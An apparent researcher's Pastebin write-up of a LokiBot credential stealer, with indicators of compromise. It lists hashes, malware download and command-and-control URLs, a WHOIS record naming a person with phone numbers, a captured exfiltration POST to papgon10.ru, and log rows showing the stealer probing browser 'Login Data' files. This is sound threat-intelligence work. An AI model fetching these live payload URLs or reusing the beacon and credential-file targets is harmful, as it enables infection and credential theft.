API tools faq
paste
Advertisement
Neonprimetime

2018-06-11 #lokibot malware sample

Neonprimetime
Jun 12th, 2018
607
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.22 KB | None | 0 0
raw download clone embed print report
  1. found by @neonprimetime security
  2. #lokibot malware 6/11/2018
  3. subject: ... INVITATION TO BID
  4.  
  5. Word Doc attachment
  6. 3576180af7c9c28d50b9be8a2a197c04
  7. https://www.hybrid-analysis.com/sample/4319fdec7c5cc1e41b8ca134284550c692050bcc824d1119ee4bffc4f88af70a?environmentId=100
  8.  
  9. note: @James_inthe_box spotted similar ( https://twitter.com/James_inthe_box/status/1006230177842651136 )
  10.  
  11. Spawned process "EQNEDT32.EXE" with commandline "-Embedding"
  12.  
  13. https://app.any.run/tasks/e573ec23-3cf3-4533-8af3-5c76b98cbc5a
  14.  
  15. calls to
  16. http://uploadtops.is/1//f/ZZ0FPBP
  17.  
  18. downloads
  19. C:\Users\admin\AppData\Local\Temp\test.exe
  20. MD5: 3BBA5102FB3D6771B5B4193020CDEBB5
  21. https://www.hybrid-analysis.com/sample/844a5d31bfacd506793cc19aa9113272b35893cdd84a88525184f7e27a4b2c54
  22. https://app.any.run/tasks/0bca2e5b-58a4-4a51-8098-a76a47f2f2fa
  23.  
  24. which creates a copy of itself
  25. C:\Users\admin\AppData\Roaming\otgwsf\pmsgb.exe
  26.  
  27. which calls to
  28. http://papgon10.ru/young/fred.php
  29.  
  30. which seems to be a malicious domain
  31. https://www.virustotal.com/#/domain/papgon10.ru
  32.  
  33. which resolves to
  34. 2018-06-12 185.6.242.251
  35.  
  36. which has numerous malware
  37. https://www.virustotal.com/#/ip-address/185.6.242.251
  38.  
  39. such as
  40. http://jiren.ru/ice/fresh.scr
  41. http://enugu042.ru/arafat/arafat.exe
  42. http://userrlive.xyz/mmmm/Panel/five/PvqDq929BSx_A_D_M1n_a.php
  43. http://braithwalte.co.uk/pona/five/fre.php
  44. http://lidgeys.ru/igere-reloaded/fred.php
  45. http://topreadz.ru/chris1/fred.php
  46. http://lidgeys.ru/eddy/fred.php
  47.  
  48. hosted in
  49. inetnum: 185.6.242.0 - 185.6.242.255
  50. netname: Getby-Inter-Net2
  51. descr: Getby-Interoute-Net2
  52. country: IT
  53. admin-c: FV396-RIPE
  54. tech-c: FV396-RIPE
  55. status: ASSIGNED PA
  56. mnt-by: INTEROUTE-MNTNR
  57. mnt-lower: MNT-TECNO-GENERAL
  58. mnt-routes: INTEROUTE-MNTNR
  59. created: 2013-02-06T09:44:05Z
  60. last-modified: 2013-06-11T08:25:48Z
  61. source: RIPE
  62. person: FABIO VERDECCHIA
  63. address: TECNO GENERAL SRL
  64. address: VIA INDUSTRIA 10
  65. address: 63023 FERMO
  66. address: Italy
  67. phone: +39487074469
  68. fax-no: +39734644510
  69. nic-hdl: FV396-RIPE
  70. created: 2009-11-02T11:07:01Z
  71. last-modified: 2016-04-06T19:35:22Z
  72. mnt-by: RIPE-NCC-LOCKED-MNT
  73. source: RIPE
  74.  
  75. --------------
  76. packet capture
  77. --------------
  78. POST /young/fred.php HTTP/1.0
  79. User-Agent: Mozilla/4.08 (Charon; Inferno)
  80. Host: papgon10.ru
  81. Accept: */*
  82. Content-Type: application/octet-stream
  83. Content-Encoding: binary
  84. Content-Key: B24C14FA
  85. Content-Length: 271
  86. Connection: close
  87.  
  88. ..'.......ckav.ru......[REDACT]............k.................0...2.7.1.8.4.5.3.1.A.2.C.7.0.B.8.D.E.A.0.4.0.E.E.7.....lP2FDU.....H.{..C.ht.ps8:/.w..ni.kola.p8.et.$.-c.|z...u.grad..R>.x.-Ac0u.-.8S...UZ.K.nyFrN.&
  89.  
  90. ---------
  91. interesting in-memory strings
  92. ---------
  93. 0x12e3c4 (11): papgon10.ru
  94. 0x6920af (51): "C:\Users\xxxx\AppData\Roaming\otgwsf\pmsgb.exe"
  95. 0x6c81ca (15): /young/fred.php
  96.  
  97. -------
  98. interesting procmon file touches
  99. -------
  100. 2:53:41.4736175 PM pmsgb.exe 1804 CreateFile C:\Program Files\NETGATE\Black Hawk PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  101. 2:53:41.4759031 PM pmsgb.exe 1804 CreateFile C:\Program Files\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE} PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  102. 2:53:41.5257217 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Nichrome\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  103. 2:53:41.5279439 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Nichrome\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  104. 2:53:41.5301047 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalNichrome\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  105. 2:53:41.5323011 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalNichrome\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  106. 2:53:41.5341757 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\RockMelt\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  107. 2:53:41.5363097 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\RockMelt\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  108. 2:53:41.5385036 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalRockMelt\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  109. 2:53:41.5406911 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalRockMelt\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  110. 2:53:41.5428698 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Spark\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  111. 2:53:41.5450697 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Spark\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  112. 2:53:41.5471969 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalSpark\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  113. 2:53:41.5491487 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalSpark\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  114. 2:53:41.5509836 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Chromium\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  115. 2:53:41.5528019 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Chromium\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  116. 2:53:41.5549511 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalChromium\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  117. 2:53:41.5571492 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalChromium\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  118. 2:53:41.5596664 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Titan Browser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  119. 2:53:41.5619079 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Titan Browser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  120. 2:53:41.5641010 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalTitan Browser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  121. 2:53:41.5662898 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalTitan Browser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  122. 2:53:41.5685505 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Torch\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  123. 2:53:41.5707643 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Torch\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  124. 2:53:41.5729625 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalTorch\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  125. 2:53:41.5753024 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalTorch\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  126. 2:53:41.5768360 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  127. 2:53:41.5783407 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  128. 2:53:41.5798553 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalYandex\YandexBrowser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  129. 2:53:41.5813870 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalYandex\YandexBrowser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  130. 2:53:41.5828998 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Epic Privacy Browser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  131. 2:53:41.5844230 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Epic Privacy Browser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  132. 2:53:41.5859298 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalEpic Privacy Browser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  133. 2:53:41.5874536 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalEpic Privacy Browser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  134. 2:53:41.5889725 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\CocCoc\Browser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  135. 2:53:41.5904920 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\CocCoc\Browser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  136. 2:53:41.5920006 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCocCoc\Browser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  137. 2:53:41.5935301 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCocCoc\Browser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  138. 2:53:41.5950652 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Vivaldi\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  139. 2:53:41.5965828 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Vivaldi\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  140. 2:53:41.5980826 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalVivaldi\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  141. 2:53:41.5995879 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalVivaldi\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  142. 2:53:41.6011061 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Comodo\Chromodo\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  143. 2:53:41.6026118 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Comodo\Chromodo\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  144. 2:53:41.6041100 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalComodo\Chromodo\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  145. 2:53:41.6056321 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalComodo\Chromodo\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  146. 2:53:41.6071328 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Superbird\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  147. 2:53:41.6086382 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Superbird\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  148. 2:53:41.6101342 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalSuperbird\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  149. 2:53:41.6116583 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalSuperbird\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  150. 2:53:41.6131796 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Coowon\Coowon\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  151. 2:53:41.6146395 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Coowon\Coowon\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  152. 2:53:41.6161464 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCoowon\Coowon\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  153. 2:53:41.6176503 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCoowon\Coowon\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  154. 2:53:41.6191650 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Mustang Browser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  155. 2:53:41.6206908 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Mustang Browser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  156. 2:53:41.6221987 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalMustang Browser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  157. 2:53:41.6237065 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalMustang Browser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  158. 2:53:41.6252103 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\360Browser\Browser\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  159. 2:53:41.6267100 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\360Browser\Browser\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  160. 2:53:41.6282140 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local360Browser\Browser\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  161. 2:53:41.6297085 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local360Browser\Browser\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  162. 2:53:41.6312096 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  163. 2:53:41.6327735 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  164. 2:53:41.6341891 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCatalinaGroup\Citrio\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  165. 2:53:41.6355932 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalCatalinaGroup\Citrio\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  166. 2:53:41.6373228 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Google\Chrome SxS\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  167. 2:53:41.6387451 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Google\Chrome SxS\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  168. 2:53:41.6402866 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalGoogle\Chrome SxS\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  169. 2:53:41.6418033 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalGoogle\Chrome SxS\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  170. 2:53:41.6433047 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Orbitum\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  171. 2:53:41.6448169 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Orbitum\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  172. 2:53:41.6463157 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalOrbitum\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  173. 2:53:41.6478173 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalOrbitum\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  174. 2:53:41.6493162 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Iridium\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  175. 2:53:41.6508322 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\Iridium\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  176. 2:53:41.6523311 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalIridium\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  177. 2:53:41.6538205 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\LocalIridium\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  178. 2:53:41.6559806 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  179. 2:53:41.6574922 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  180. 2:53:41.6590025 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera\Opera Next\data\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  181. 2:53:41.6605649 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera\Opera Next\data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  182. 2:53:41.6620818 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  183. 2:53:41.6635906 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  184. 2:53:41.6650859 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera Software\Opera Stable\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  185. 2:53:41.6666024 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  186. 2:53:41.6681336 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
